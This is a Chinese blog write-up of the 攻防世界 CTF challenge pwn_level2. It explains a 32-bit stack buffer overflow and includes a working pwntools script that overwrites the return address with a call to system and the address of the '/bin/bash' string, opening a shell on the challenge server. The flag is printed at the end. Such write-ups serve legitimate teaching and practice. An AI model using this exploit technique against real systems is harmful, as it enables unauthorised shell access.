攻防世界pwn pwn_level2

首先下下来的文件查壳以及查保护机制

接着,进入IDA,F5分析

点进vulnerable_function看一下

看到这里可以知道buf是程序输入的字符串,长度为0x88,read最多可以读入0x100个字符。点进buf看下

也就是r是返回地址,也是需要覆盖的,s保存的即是main函数的ebp,所以我们需要构造的payload包括长度0x88 + 4的任意数据

以及我们想要执行的函数的地址。可以跟level0不一样的是,这道题并没有明确给我们提供一个这样的函数。所以我们得自己构造了,按shift+F12查看下字符串

看到了下面的/bin/bash,而程序里又有system函数,所以这里我们得构造一个system("/bin/bash"),对应的汇编指令为

push    offset db'/bin/bash'
call    _system

也就是我们覆盖的返回地址为call _system指令的地址(注意是call _system指令的地址,不是system函数的入口地址)。整个程序有2个地方出现了call _system,一个在main函数里

另一个在vulnerable_function里

也就是覆盖的返回地址用0804845C和0804849E都可以,那最后就是让/bin/bash的地址入栈,因为push指令在call指令执行之前,所以/bin/bash的地址跟在返回地址之后就行,整个payload的结构也就是:0x88 +4的任意数据 + call system的地址 + /bin/bash的地址

代码为:

from pwn import *

if __name__ == '__main__':
    con = remote('220.249.52.133',36309)
    payload = b'A' * (0x88 + 4)
    payload += b'\x9E\x84\x04\x08' # call system地址
    payload += b'\x24\xA0\x04\x08' # /bin/bash地址

    con.send(payload)
    con.interactive()

这里注意x86平台为小端序。

执行程序即可拿到shell,输入cat flag

cyberpeace{28feeb6a836ee8cf5867b36b8010b52e}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值